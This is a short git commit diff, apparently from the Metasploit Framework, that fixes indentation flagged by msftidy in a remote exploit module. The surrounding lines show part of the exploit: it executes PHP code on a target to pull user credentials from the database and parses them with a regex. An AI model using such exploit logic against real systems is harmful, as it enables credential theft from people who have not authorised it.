fixed msftidy.rb complains

unstable
h0ng10 2012-11-28 01:22:19 -05:00
parent 7109d63f36
commit 897ae102d4
1 changed files with 3 additions and 3 deletions

View File

@ -79,11 +79,11 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Reading user credentials from the database")
response = execute_php_code(php)
if not response or response.code != 200 then
print_error("Failed: Error requesting page")
if not response or response.code != 200 then
print_error("Failed: Error requesting page")
return
end
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
return if credentials.length == 0